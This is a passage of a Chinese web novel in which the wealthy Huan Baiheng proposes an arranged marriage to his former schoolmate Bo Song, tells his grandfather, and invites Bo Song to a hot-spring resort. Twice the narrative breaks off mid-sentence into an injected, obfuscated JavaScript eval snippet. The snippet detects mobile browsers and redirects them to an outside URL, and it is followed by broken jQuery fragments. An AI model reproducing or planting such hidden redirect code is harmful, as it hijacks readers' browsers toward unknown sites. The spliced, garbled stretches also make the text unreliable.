薄淞全程精神紧绷,少了往日应酬的游刃有余,话题基本都是由桓柏蘅领着的,以至于饭局结束,他担心起自己的言行举止会不会过于木讷。 可保持不失态,他已经很努力。 “今天你开车来,我就不送你了。” 餐厅门口,桓柏蘅开口道别,两人车子停在不同的方向,薄淞落在远处的目光收回,看向桓柏蘅,轻点头,“好。” 他说,“再见。” 如果不结婚,这可能是最后一次吃饭,桓柏蘅不会在一周后联系他了,薄淞忽然这么想,失落和不安席卷的突然,以至于有些不舍,却只能强压着,不敢再多看对方,怕会暴露出情绪。 他转身决定赶紧离开,身后桓柏蘅忽然喊他。 “薄淞。” 一顿饭全程桓柏蘅喊得都是“学长”,这样开口正式喊名字,是第一次。 薄淞心跳漏了拍,身体先于大脑反应,转身却猝不及防撞进怀抱。 不是多亲密的拥抱,他们的胸膛没有紧贴,是保持着社交距离的礼仪性的告别而已,所以他此刻疯狂的心跳不至于暴露。可距离太近,近到对方拍打在他耳后的呼吸炙烫的近乎灼烧,让他身体僵硬。 拥抱却是一触及分,不待他细细品味,耳边留下话语,“希望你好好考虑,我会很期待你的答案。” 像是深情。 薄淞眸光垂落在地面,飘忽的,他说,“好。” “那,下次见。”桓柏蘅话语温柔,嘱咐道,“开车小心。” 薄淞再次转身。‘ 餐厅周边的环境雅致安静,午后明媚的阳光散去,这会时间晚了些,空气里多了丝雾蒙蒙,风中没了暖洋洋的的温度,带了点夜晚临近的寒意,吹拂过面颊,钻进没有遮掩的敞开的领口。 薄淞一阵哆嗦,也从前一刻的失神中清醒,脚步顿住。 桓柏蘅神色冷淡的自另一边阶梯去停车场,微信上应付郑云松的八卦,对方问他饭吃的怎么样?相亲如何? 他指尖敲在屏幕,说还行,对方挺合适,只是比较麻烦,需要时间考.. 急促的脚步响起在身后,桓柏蘅利落的按下锁屏,冷淡的眼尾勾起点浅淡弧度,又是微微笑着模样,侧身,隔着两层台阶,望向面前的人。 “桓柏蘅。”薄淞嗓音被冷风吹得干哑,他平复下颤抖的呼吸,开口,“我们好像忘了加联系方式。” - 桓柏蘅没有给人备注的习惯,除非关系到位,薄淞目前不属于这个范围,因此结婚的事没成的前提下,对方还是以一个“。”存在于他的朋友圈置顶。 置顶是因为,怕对方答应的消息发过来被吞了。 不过他对于这个句号还是颇觉意外,他觉得就算是微信名,这个多年未见的大学学长也应当是规规矩矩的名字才对,而实际上薄淞的工作号确实是名字,只不过薄淞给的是私人号,也就没在意学生时期不知道何时更改的简易微信名。 桓柏蘅没多猜测,他今天需要回老宅一趟。 到达时是晚饭时间,桓老爷子在用餐,佣人端上热菜离开后,老爷子才横了眼自家孙子,“还知道回来?” 老爷子是有点情绪,毕竟桓柏蘅在外读书三年,好不容易回国,也没陪他多久,家里待不住宁可住酒店,这是多嫌他啰嗦,只是嘴上不满归不满,还是忍不住关心,“吃过饭没?” 桓柏蘅点头,在老爷子边上坐下,“刚吃,您继续,不用管我,我就说个事。” 桓老爷子哼了声,“先说。” 老爷子年轻时雷厉风行,年纪大了后倒是多了点小孩脾气,尤其前年做了场手术,身体弱下来,开始有想从公司退下的想法。 他是打算等桓柏蘅结婚后,就让人正式进公司,陆陆续续把权利交出去。 桓柏蘅父母早早去世,他就这么一个孙子,在桓柏蘅成长时期,他算是个溺爱孩子的爷爷,以至于长大后的自家孙子性格过于自我,桓柏蘅对人对事不上心,也过于冷漠,亲近的人看的更分明,而且成天想一出是一出,也让他非常头疼。 所以他希望桓柏蘅能尽早成家立业,心早点定下来。 当然,另一方面也是希望,有家庭后,孙子能有牵挂,也有停靠休息的地方,他不可能陪着桓柏蘅一辈子。 “结婚的事,差不多了,和您说一声。” 老爷子从伤感中迅速切换,布满皱纹的眼尾都舒展几分,商场上颇具威严的老人变得慈眉善目亲切可人,甚至于桓博恒觉得,爷爷语气都夹了几分。 “是哪家孩子啊?”老爷子还有几分紧张。 桓柏蘅极其淡定,“薄淞。” 饭桌上沉默了十多秒,老爷子眉心微微蹙起,“薄家的儿子?” ”桓柏蘅佯装思考了会,笑问:“他家有女儿?” “...你这臭小子。”老爷子反应过来,用力拍了下桓柏蘅肩头,孩子长大了,长得还挺结实,拍的他手都疼,心里想着,眉宇间欣慰转为了复杂,好长一阵才叹口气,“想好了?” 和薄家的儿子结婚的话,那就是不要孩子的意思,男人生不了孩子。 “没。”桓柏蘅却说。 老爷子血压都要高了,这叛逆的小子不会是来逗他的吧,刚打算再给人一下,桓柏蘅又说。 “百分之八十吧。” 桓柏蘅压根不顾虑老人家脆弱的心脏,随意给了回答,原本是百分之五十,可薄淞临走前几分急迫的加他微信,让概率升了百分之三十,可也说不准有变数,就像他也是时不时一个想法。 说不定明天,他自己就不想跟薄淞结婚了,也说不定。 只是老爷子催的急,他现在不来怕是过几天又得喊人来催了。 老爷子一颗心也不知道该上还是该下,犹豫半晌还是说了,“你跟薄家那孩子之前也不熟吧,爷爷是想你早点结婚,但也不是说非得让你必须把婚结了,虽然爷爷都说出去了,但面子这东西也无妨,没哪个敢笑话我们家的,要是没想好的话,也可以...” “结吧。”桓柏蘅自然知道老爷子藏着另一层意思的话,于是直接了当表明,“爷爷,我结婚的话肯定是不要孩子,所以只会跟男人结婚。” 他不觉得有孩子幸福快乐之类的,反倒是很麻烦的事,本来结婚的本意就是不想老人催促,如果非得加个孩子鸡飞狗跳,那他宁可爷爷每天念叨他两小时。 老爷子被看穿意图噎了会,仍旧试图劝说,“不是说和女人结婚就一定要孩子,也可以不...” “要么和男人结婚。”桓柏蘅说,“不然我就一个人过,您考虑考虑。” 饭桌再次沉默下来,只是老爷子筷子和碗盘相撞的声音越发频繁,老人家从小就教导过吃饭不能发出声音,是基本礼貌,于是桓柏蘅默默地把椅子往外挪了点,一点点站起身。 筷子就被重重敲在桌上,老爷子怒道。 “我考虑,你为我结婚啊,你是要气死我是不是?” “...”本来就是为您结的婚。 桓柏蘅心里默默补充,可话要真这么说出去,确实能把唯一的亲爷爷气死,他叹口气,哄着老人,“当然不是,我哪舍得,来,您消消气。” 给老爷子拍背递水,安抚的动作十足到位,只是说着知道错了的人表情不太受控,仍旧一副事不关己,实话实说模样,老爷子差点高血压发作。 这性格,真的是太恶劣,怕是也没好人家的女孩受得了,结了就得离。 “男的就男的。”老爷子认命,他是干涉不了桓柏蘅的决定,身边有个人也总比冷冷清清一个人孤独终老好,拍板道,“定下来的话,婚礼前让那孩子过来见我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345433|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” - 约定好的一周期限,对于薄淞来说,分外煎熬。 在他二十八年的生命里,从未有过那么大的渴望,想要一个好的结果,可结果好坏不取决于他,桓柏蘅的想法,他摸不到半分。 而距离两人那顿饭,已经过去三天,他们没有任何联系。 他无从得知桓柏蘅丁点的态度,也不敢去问桓柏蘅是不是一时冲动实际上并不会跟他结婚。如果是...他没法轻描淡写的接受桓柏蘅这样的做法,承认自己会怨憎。 给了希望再收回比起没有希望,残酷太多了,他会觉得桓柏蘅太残忍。 薄淞一天天熬的辛苦,撑不住睡去也会被夜半的噩梦惊醒,他梦到桓柏蘅挑着眉梢,用一副遗憾但戏谑的表情通知他,不和他结婚了,有更好的人选。 他失眠的比先前更加严重,导致白天的工作效率也极低,只能加班用更多的时间去填补,直到一天天漫长的接着流逝,到第五天晚上,桓柏蘅也没有联系他,薄淞盯着至今空空荡荡的聊天框,他不知道,自己是不是已经被放弃,出局了。 薄淞恐惧再去想,决定强行入睡,却在退出时不小心点进头像,心里猛地一惊,好在弹出的界面只是信息栏,松口气。 他不知道这时候要和桓柏蘅聊什么。 太尴尬了。 薄淞正欲重新退出去,注意到桓柏蘅更新了条朋友圈。 桓柏蘅的朋友圈显示的半年可见,只是这半年没留下一点痕迹,排除对方有特殊设置外,只能说明对方是不太分享生活的人,因此他并没能从社交账号获得桓柏蘅这些年或是近期的生活痕迹。 当然他也怀疑过,是不是桓柏蘅给他的联系方式并不是对方常用的,毕竟不是多亲近的关系。 薄淞想着,已经点开了最新的朋友圈。 是一张风景照。 云雾掩映着的山林雾气蒙蒙,绿意中缀着点点白霜碎雪,和远处露出的半边建筑,恢弘大气,照片看不出是哪,但像是度假的地方,整张照片都透出悠闲清雅的感觉。 薄淞看了眼朋友圈更新的时间,显示一个小时前,所以这两天桓柏蘅是呆在这个地方吗? 他放大照片仔细观察,潜意识知道自己的行为很奇怪,可控制不住,如果桓柏蘅常去的话,是不是有机会遇上?他观察好半天,山却都是一个样,找不出具体位置,不由得几分沮丧,而在知道桓柏蘅可能的最新动态后,焦躁的心就更难安分下来,胡思乱想着这么多天,桓柏蘅真把他忘记怎么? 如果在他之后,还见过别的可能结婚的对象,人选太多,他如果被放在最前面的一批,被忘记实在太正常了。 忘记就出局了。 薄淞内心煎熬挣扎,最终在这条朋友圈底下点了个赞。 只是点赞而已,并不会暴露他的心思,也能提醒桓柏蘅想起他,记得他也在人选里。 薄淞这么做了,才终于心静几分。 不能再想了,他决定强迫自己立刻休息,可正要合上手机,上方跳出的新消息提示桓柏蘅的名字时,薄淞有瞬间觉得大概眼花了。 心像是猛地被悬至高空,动作快于大脑,他顺从内心本能或是说某种企盼以最快速度点开聊天框,桓薄恒发来的消息寥寥数字很是简洁。 【桓柏蘅:有兴趣?】 薄淞没来及思考对方所说兴趣,甚至没有足够反应时间,对方紧接着发来定位导航,位于临泉县的温泉山庄,薄淞后知后觉应该是照片上桓柏蘅发的照片所在位置,所以对方是在邀请他? 可为什么邀请他呢?是桓柏蘅或是熟人朋友投资的产业吗?新开业需要去捧场的人? 薄淞大脑飞快过着思绪,可又很快否定这些念头,桓柏蘅那么多朋友,哪里轮得到他?所以对方只能是特地邀请他,而接下来的桓柏蘅的话也验证无疑。 【桓柏蘅:来吗?周末应该适当放松,别太辛苦了。】 5. 第5章 桓柏蘅打电话给好友,让留两间房。 郑云松低头看手机,反复确认时间,“三分钟不到,你已经沟通完毕并且学长答应了?” “准确来说,一分钟不到。”桓柏蘅不紧不慢纠正他,于是电话那端沉默了将近一分钟,才接着问,“你像是很失望?” 郑云松当然不会承认自己确实失望,以他对那位艺术系系草的浮于表面并不深入的了解来说,对方应当是高岭之花才对,看似温文尔雅永远挂着笑容,可内心该是遥不可及,哪能这么容易就答应? 他只能竭力压下震惊,不然桓柏蘅又要爽到了。 “没,你想多了,学长人好,不好意思拒绝。”郑云松让自己的语气听起来云淡风轻,可桓柏蘅也压根不在意,“哦“了一声。 没人再说话。 “你在想什么?”片刻郑云松先问。 桓柏蘅答,“没。” 薄淞答应的十分果断,他评估着对方答应这门婚事的概率再次上升至少百分之十,所以薄淞也很着急结婚?不过对方都相亲这么久,想结也正常。 桓柏蘅想着,忽然郑云松哼了声,“你是不是在暗爽?” “...” “我看你也别不承认,要是结婚对象是学长你很满意吧,不然说好的一周这才过去几天,你就巴巴地发条仅对方可见的朋友圈钓人家出来,怕人家忘了你啊?” “还是泡温泉这么暧昧的事,该不会馋人家身子吧?” 郑云松总有能自说自话把自己说嗨的本事,主要是想挽回点面子,只他越说越离谱,桓柏蘅这回没耐心让他尽兴,电话被挂断,桓柏蘅最后的声音传出来冰冷又鄙视。 “有病。” - 温泉山庄建在山顶,几乎承包整座山头。 庄内分区清晰,温泉有露天室内之分,酒店统一在梅园附近,而娱乐包括射击骑马大型棋牌室以及小众酒吧,统一划分在一个区域内,后山则是大型的室外滑雪场和漂流基地,只是近期气温骤降,湖水结冰缘故漂流全停了,却也增加雪地烧烤活动。 总而言之该有的冬日娱乐项目都一次性配齐了,加上山林环境清幽,又只对会员开放,年前这阵来的人不多,是休息放松再合适不过的场所 。 薄淞刚把钥匙交于工作人员泊车时,侧后方传来声音,山庄正门边的另一条幽长小道上,裹在长款羽绒服里的男人下巴微抬,冲他打了个招呼。 桓柏蘅似乎有些畏冷,打完招呼很快下半张脸重新埋进衣服里头,走至他跟前。 “来了啊?”桓柏蘅慵懒少了往日冷冽,“等你好久了。” 似埋怨又不像是,薄淞听不真切,“早上公司有点急事,抱歉。” 他错开视线,望向远处山庄入口,桓柏蘅是出来接他的吗? “没事,是我邀请的太突然,耽误你时间了。”桓柏蘅侧身,等人上前几步并肩往山庄里头去,“所以处理完了吗?” “嗯。” 必须亲力亲为的做了,其他能延后的就延后,只为了和桓柏蘅约会,这是薄淞从没想过他自己会做的事。 薄淞垂眼,迈进山庄大门,视线愈发开阔,入口处标注着分区,他们先去住宿的地方,接送车会负责送他们到楼底。 “转一圈吗?梅园的花开的正艳。” 桓柏蘅一句,薄淞不会拒绝,打消了坐车念头,“好。” 两人往所示的酒店去,因为一路实在安静,在他们走了将近五分钟而只有开头的寥寥数语后,薄淞还是先开了口。 “这个地方是新开的吧?” 薄淞记起隐约是有朋友提过,荣市新开的温泉度假会所。 桓柏蘅眼皮稍稍抬了些,寒风刮得他裸露在外的皮肤通红,他点了头,“差不多,不过之前有试营业过一段时间。” 郑云松投资的,对着他嚷嚷半天,回国第二天就被人喊来体验。 薄淞评价,“环境不错。” 风刮过,又剩一片沉寂,踩下的步子在泥土地上松软静谧,桓柏蘅没带他走外面的大路,这会绕进梅园,幽香阵阵扑鼻,放眼望去,梅花枝头竞相绽放,如展翅欲飞的蝶。 是开的正好。 薄淞先是看梅花,再是忍不住看向桓柏蘅。 得知今天见面,昨晚就止不住期待欢喜,他设想过和桓柏蘅相处的场景,唯独没有此刻这样死气沉沉,让他心里闷堵,一向能言善语的人,唯独面对对方,紧张的全然没了话题,反倒是生硬尴尬。 “抱歉。” 桓柏蘅脚步顿得沉,他侧身偏头,眼底缓渐清明,只是带了点疑惑,“什么?” 好端端的,道什么歉? 薄淞唇角抿了下,低声解释,也有些无奈,“迟到不是我的本意。” 第二次见面,好像就让桓柏蘅对他的印象变得糟糕。 “我可以弥补。” “...” 风吹过梅林,簌簌的落雪声,上午那阵山里飘了小雪,覆在红梅上,此刻飘落纯白星点。薄淞感觉面颊一冰,沁进的冷意让他微微瑟缩,心里同时间发沉,在沉默中第三次开口想要表示歉疚以及诚意时,却被忽至的阴影遮住视线,眼睫传来微微的痒意,神情一僵。 桓柏蘅指尖扫去他眼睫覆上的细雪,对上面前微微放大的双眸,无声片刻,薄淞眼底强烈的情绪波动,眼睫随后飞快颤动几下,视线挪开。 “不至于。”指尖的触感似乎还在,桓柏蘅摩挲两下收回兜里,他把领子往上拉了拉,声音又重新变得闷闷懒懒的,“就是困。” 他的沉默被薄淞误认为不满,所以才三番两次跟他道歉?桓柏蘅觉得他不至于,不是几岁的小朋友,哪能这么无理取闹,所以薄淞没必要因为这事对他歉疚,还像是哄他? 桓柏蘅停止往下再想,不然他真觉得这位大学众多人追求的艺术系学长实在是有些敏感且..讨好型人格? - 山庄内是独栋别墅,空间大,因此薄淞和桓柏蘅就算不熟悉,却也不会住起来尴尬。 房子里暖气开的热,桓柏蘅总算是肯把整张脸露出,于是薄淞更直观注意到人满脸未散的倦意,刚才桓柏蘅说困,不存在因为迟到的事不满,后来也体贴地打起精神陪他闲聊,算是迁就。 薄淞却越发觉得愧疚。。 “晚饭时间还早,你累的话,可以先去休息一阵。” 这会的时间尴尬,下午两点,不到晚餐的时间,泡温泉也不太合适,况且桓柏蘅状态不佳,薄淞自然希望他先休息会,起码不要因为他的存在而少了舒适。 实际桓柏蘅完全不会因为他而委屈自己,眯着眼晃了晃脑袋,人早已往楼梯口去了。 “那我睡会,我住C字房,剩下房间你自己选。” “好。” 薄淞望着人背影即将消失在楼梯口时,桓柏蘅却停下,他站在三层阶梯上,眸光自上而下落着,不算认真地注视,偏偏薄淞心跳因为这一眼不争气又快了。 “你吃午饭了吗?”桓柏蘅临走才想起关心一下对方这件事,毕竟装也得装的到位全套些,哪怕实际上他并不在乎薄淞吃没吃东西,以及喊人来这的初衷,也并不是所谓的放松? 可好听的话,说两句不费什么时间。 薄淞没吃午饭,处理好事情一路急匆匆赶过来,路程远,再着急也迟到很多。 他的犹豫不过几秒,桓柏蘅已然没耐心,他抬手指了指另一边沙发位置,敷衍道,“叫餐的号码茶几上,饿的话可以先吃点。” “...好。” 桓柏蘅这次没有停留,脚步往楼上去,薄淞在他走后许久,绷紧的脊背松下来。 和桓柏蘅在一起,还是会紧张。 薄淞往客厅去,他没打算叫餐,走到连接着后院的入口,院里一池温泉水氤氲着热气,独栋的别墅都安排有私人温泉池,方便不想出门的客人在院里使用,池边种着几株红梅,一两朵被风吹落在水面, 而远处院外,是积雪未散的银白山峰。 空气和景致都是极佳,在繁忙的工作间隙来这,确实让人心生愉悦和惬意,薄淞在窗帘未掩的落地窗前坐下,望着如画景色。 而楼上房间里,桓柏蘅在休息,好像又是一场梦。 可他也从没做过这么好的梦,在倾心于桓柏蘅的七年里。 - 桓柏蘅的房间在二楼角落,薄淞选的离人不近不远,中间隔了两间房,既不侵入对方安全范围也不过分疏离。 他原本没想休息,可上楼呆一阵竟来了困意,距离两人约定好的时间还有三个小时,干等确实煎熬,他设好闹钟,索性也闭眼休憩。 睡意袭来的猛烈,这段时间没休息欠缺的困意像是一次性涌上来,几乎躺上去就睡着,再睁眼是被床头的闹铃,他几乎没有缓冲,从床上坐起。 离约定的时间点还剩下半小时,薄淞起床收拾,整理好需要携带的泡温泉的浴袍,装进袋子里出门,房门推开掩上,薄淞同睡眼惺忪正出来的人一眼对视。 桓柏蘅像是没睡醒的样子,眉眼沉沉压着,左脸侧颊明显压出的红痕,浅灰色低领毛衣露出的锁骨往上,大片蔓延的红,房子里暖气开的高了,薄淞刚才也觉得有些热,开了窗通风。 “早。”桓柏蘅刚起,嗓音很低,估计是有些迷糊的,同人问早安。 薄淞先是点头,回应后在桓柏蘅眉眼又转过一圈,才说,“如果困的话,也可以不去。” “还行。” 困是困,毕竟他习惯这觉睡到晚上的,可都把人叫过来再晾到一边,那确实有点太过分,桓薄蘅还没那么不着调。 他抬手揉了揉眉心,让自己表情看起来没那么臭,“走会就清醒了。”话语顿了下,又补一句,“你不用管我,没针对你。我就是起床气比较大。” “...” 桓柏蘅有起床气,是薄淞对桓柏蘅更多的了解,他觉得这样的毛病...也很可爱。 - 两人出别墅,这次直接上了不远处的接送车,接送车两面透风,桓柏蘅又把脸埋进去,薄淞看出他畏冷,身体往前挪了些,挡住冷风。 车程七八分钟,到了餐厅。 他们径直上了二层,偏日式风格的装修,屏风做分界,隔出私人用餐空间,比起一层大厅的开阔显得私密许多。 两人在侍应生的接待下,往座位去。 薄淞脚步停下是在一道熟悉的女声唤他名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345434|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不远处位置站起来的女生热情挥着手,小香风套装显得甜美可人,打完招呼紧接着小跑过来。 “好巧,没想到能在这碰到你。” 叶缘萱刚泡完温泉来吃饭,看到薄淞时还以为自己眼睛花了,因为周末时间薄淞也常在公司加班,会来这种地方实在出乎意外,可心上人在跟前,难免雀跃,她庆幸就算泡温泉也还是打扮了一番,盈着笑眼望向薄淞。 “...嗯。”薄淞目光却没在她身上多停留,而是偏头冲着身侧。 叶缘萱下意识追随人视线,目光落向先前被她忽略了的同样高挑出众的男人,眼底有瞬间惊讶,可又觉得和薄淞走的近的朋友,理所应当是这模样。 桓柏蘅脸上挂着常有的慵慵懒懒的神情,现在也是,只是其间加了些许审视,叶缘萱竟不敢长久直视,桓柏蘅也并未在她身上过多停留目光,侧身,同薄淞眸光相撞,笑道,“ 朋友啊。” 薄淞抿唇,点了头。 桓柏蘅唇角弧度更大几分,在薄淞别无选择礼貌性的同女生客套寒暄时,眯了眯眼。 他当然知道叶缘萱,也知道叶缘萱进薄淞公司实习在追求薄淞的事,不算意外,薄淞这种类型的,讨女性喜欢再正常不过,以前读大学,他就知道艺术系“不近情爱”却追求者众多的温柔学长。 “一会我就回去了,明天会准时到公司的。”叶缘萱在上司面前保持绝对的“热爱工作”人设又保证,“爸爸批评我了,上班穿的不得体,以后一定会穿正式的衣服去的。“ 叶缘萱急于给薄淞一个好印象,可薄淞全然不关心这个,他只担心桓柏蘅会没耐心,余光正要再次落向身侧,耳边忽然一热,话语梗住。 桓柏蘅竟朝他凑近,抬手亲昵地替他理了理本就平直没有褶皱的领口。 这一动作让两人同时间呆滞,叶缘萱呆呆地望向桓柏蘅,桓柏蘅居高临下却又彬彬有礼,微笑道:“叶小姐,公事还是明天再聊吧,现在是私人时间不是吗?” 私人时间,私人约会,桓柏蘅这话意思已经够明显,叶缘萱茫然地望向薄淞,薄淞也没想到桓柏蘅会这么说,他几乎没有思考,“你的朋友在等你。” 薄淞的话表明态度,叶缘萱咬了咬唇,又看了眼桓柏蘅,然后才委屈的点了头,转身离开。 侍应生接着领路,薄淞间隙往桓柏蘅那看了眼,对方已经望向前方,似乎刚才的事对桓柏蘅而言只是再小不过的插曲而已,因为被打扰私人时间而觉得不快,不存在因为叶缘萱特殊的身份而有的区别... “她就是你之前相亲的那个?” 薄淞落座时,听桓柏蘅冷不丁来了句。 桓柏蘅对于为什么会知道这事是该对薄淞有一番解释,可若说必须也不是,既然向对方求婚,肯定是调查过,就像薄淞肯定这些天对他有过深入调查,所以不算大事。 可桓柏蘅想着,找个理由说是朋友碰到过会更悦耳些,薄淞却是直接了当的开口。 “嗯。”他先承认,然后说,“但我拒绝了。” 薄淞的眼神让桓柏蘅有片刻觉得,对方似乎是在对他表忠心? “是吗?”他推过去餐单。 薄淞抿了下唇角,听不出桓柏蘅话里的意思让他有些许不安全感,他觉得有必要解释清楚,哪怕因此可能会让桓柏蘅察觉出些许端倪,但如果不说明白导致桓柏蘅觉得他三心二意而失去结婚的机会,才是更大的遗憾。 “是。”他斟酌着开口,“和她相亲是在我们见面之前,答应你考虑结婚,我是认真的。” 桓柏蘅支着下巴,一副认真听他话的模样,不知道是不是在评判哪句话说的真假与否,这样认真注视的眼神,让薄淞心跳难免加快,手心攥出了细汗。 他再次解释,真挚而不显谄媚,“拒绝后才答应考虑,不是备选。” “所以现在考虑好了吗?”桓柏蘅说,“和我结婚吗?” 太突然,薄淞承认他大脑空白,可桓柏蘅眼底带着笑意。 他被蛊惑。 薄淞有那么几秒想不顾一切遵从内心的声音,拒绝喜欢的人比他经历过的所有谈判似乎都要难,答案几乎滚到喉咙边,愿意两个字,心里说了不下百遍,可薄淞还是让自己保持镇静。 “结婚是大事,你...” “所以我很认真。”桓柏蘅打断他,脸上的随意褪去,他坐正身体,眼神罕见地柔和下来,一字一顿,“薄淞,你是我最想结婚也是最合适的人选,同样不是备选。” 像是珍重,他说,“我只在等你的答案。” 不是备选,这句话对于薄淞的触动是桓柏蘅无法理解的,这代表对方的结婚选项里没有别人,只有他? 薄淞分析每个字词,胸口涌上滚烫也有些慌乱的情绪,第一次他没躲开这样炙烫的眼神,是为数不多的桓柏蘅露出的温情。 “我相信我们的婚姻会很契合。”桓柏蘅眼神里的温情仍在,笑容使得他冷厉的轮廓都柔软不少,头顶暖黄光晕覆在他身上,他用低哑清晰的声音向薄淞承诺,“我保证,在这段婚姻里你除了枕边多一个人,和现在不会有任何区别。” “薄淞,我们只过日子,感情或是其他任何方面,你都绝对自由,好吗?” 6. 第6章 关于桓柏蘅第二次提出的婚姻请求,薄淞没拒绝,也拒绝不了,而他们的婚姻里不会有爱情这件事,桓柏蘅从开始便说的清楚,薄淞心里更是明白,所以对于他又一次给的“自由”谈不上难过。 这是他“想要”的,桓柏蘅承诺给他,该是体贴的。 后半程他们相聊甚欢 ,饭后前往温泉池。 过去一路,做的日式的流水山石,临近年关,盏盏挂着的小红灯笼喜庆温暖,夜游也是别有一番趣味。临近温泉馆三百米是条分叉道,人流多了,甚至于薄淞遇见几个生意场上的合作伙伴,便免不了寒暄几句,然后话题落在与他同行的桓柏蘅那。 桓柏蘅长相气质明摆着,也有直接的问了。 “薄总,这位是?” 薄淞想着介绍,桓柏蘅先一步开口报了名字,来人脸上笑容更加灿烂殷勤,“柏蘅是吧?听老爷子说你是要结婚了,恭喜啊,老爷子请帖可都发了,乐得不行呢。” 桓老爷子就桓柏蘅一个孙子,之后桓家势必是桓柏蘅接管的,只是桓柏蘅从前读书,想巴结亲近也没机会,这会见到,觉得意外同时也想和人多热络热络。 “是要结婚。”桓柏蘅冷淡的脸上稍露出点笑意,睨了眼薄淞,他这一举动自然逃不过眼神毒辣的混迹多年的商人,男人心底困惑,他和薄淞合作过多次,可从不知道,薄淞和桓家这位交好啊?而且也不像是一般的交好啊。 刚才桓柏蘅那一眼,让男人冒出个念头。 “这个年纪成婚正好,结完婚也就心定了。”男人笑,随后话题圆滑的转到薄淞那,“薄总也是啊,该操心操心婚姻大事了。” 薄淞也是商人,听得出这话里试探意思,男人仗着年长,提及这事不算逾越,可以是对晚辈关心,可他不确定桓柏蘅意思,而他们的婚姻真只是在刚才他那一点头间板上钉钉吗? “学长,你是要悔婚吗?” 在薄淞沉思间隙,身旁传来委屈的声音,他闻言一怔,转头,面前的人眉头紧皱,流露出伤心模样,薄淞便知道答案。 “没有。”他听见自己的回答,低声而郑重,“我们会结婚的。” - 桓柏蘅当着第三人的面承认和薄淞的婚礼,意味着桓老爷子的“保密”不作效,当晚薄淞是桓柏蘅“神秘的结婚对象”一事在圈里子流传出来。 一传十,十传百,很快熟悉的不熟悉的圈内人都知道,于是两人泡完温泉回到别墅,手机上已经被各自好友消息疯狂轰炸。 楼梯口分开时,桓柏蘅脚步站定,薄淞知道他有话要说,好一阵,桓柏蘅眼底都是笑意,开了口。 “早点休息。”他说,语气称的上温柔,“晚安。” “...晚安。” - “不是,你两被人撞上了?” 电话接通,郑云松迫不及待问。 桓柏蘅脱了外套,解开衬衫扣子,往浴室去,“算是吧。” “可就算撞上也不至于一眼看出来吧?所以你们干嘛了??” 毕竟那李总上了年纪,哪能看得出桓柏蘅和薄淞有一腿,更何况两人一点爱的火花都没有,郑云松心里纳闷,又好奇问,“哎,什么情况啊,就这么公开了?还有,学长身材怎么样,是不是很辣?” 宽肩窄腰,至少一米八的个子,郑云松还记得餐厅碰见人时穿的那件牛仔裤,腿简直又细又长,比例好到他一个男的都嫉妒,加上那么张脸,啧啧... “不知道,穿着呢。” 都是男的,有什么好看的? 桓柏蘅心想,脑中冒出薄淞出池子那一幕,黑色的丝质浴袍紧贴在男人身体上,因为沾了水,完美的勾勒出曲线,胸肌饱满,腰肢纤细,以及身后挺翘圆润的位置...薄淞抬腿上岸时,浴袍有一瞬的走光,是更为细腻晃眼的白皙。 桓柏蘅眸子一暗,抬腿迈进淋浴区,“你怎么不说,他觊觎我的身体?” 温泉水泡的舒服归舒服,可他总感觉热得慌,打算再冲个澡。 “嘶。”郑云松倒吸口气,“所以他因为觊觎你的身体,答应你的求婚了?哦,结婚的事你捅出去的吧。” 八卦归八卦,也没耽误郑云松思考,如果不是桓柏蘅和薄淞松口点头,那李总愣是知道点什么也不会大张旗鼓宣扬出去,商场上混得精明得很,没必要那这种事博噱头,要是惹得两人不快,反倒是添麻烦。 桓柏蘅没否认,便是承认。 郑云松来了劲,笑的很坏,“当初是谁死不承认着急啊?桓大少爷,一周时间都没到呢,你就沉不住气美□□惑了?” “那也是我有这个资本。”桓柏蘅点了外放,热水冲刷而下,“迟早都是要结婚的,拖着不烦吗?” 他确实一大部分原因是懒得等,愿意就愿意,不愿意就下一个,当然,不可否认他不太喜欢这种需要等着别人决定好与不好,主动权在别人手上这件事,只是他避免不了。 所以想争回点主动。 “这个烦你就换一个啊。”郑云松声音更欠了,“大少爷一向不会委屈自己的啊?” “...” 桓柏蘅用了半分钟时间接受自己交的好友是个杠精还专门杠他这件事。 “所以你想听我说什么?” “实话呗。”郑云松还是贱嗖嗖的,“你就承认吧,你对薄淞有好感,干嘛死鸭子嘴硬,真以为断情绝欲是多酷的事啊?一把年纪恋爱都没谈过作为兄弟我丢脸死了好吧...” 桓柏蘅没挂电话,听着郑云松狗嘴里能接着吐出点什么。 结果倒真是吐了点。 “都毕业多少年了,你就偏偏记得薄淞?和我们打了一学期球的刘凯没印象是吧,偏偏毫无交集的你倒是印象深刻,说好一星期等人回复你都沉不住气,这叫一点感觉没有?要我说,你就坦诚点呗,都要结婚了,婚后好好对人家,先婚后爱也不是不可以,对吧?” 连珠炮故意刺激打趣人的话说完,郑云松爽了,当然他确定自己不是胡说,桓柏蘅是有感觉,哪怕那好感可能可以忽略不计,可对于桓柏蘅来说,也十分难得了。 “说够了?”桓柏蘅声音从电话里传来,郑云松下意识接上,“...干嘛,你很气?” “还好。”桓柏蘅回应,听起来确实没生气,反倒是郑云松心弦一紧,毕竟对于桓柏蘅这种心眼比针尖还小 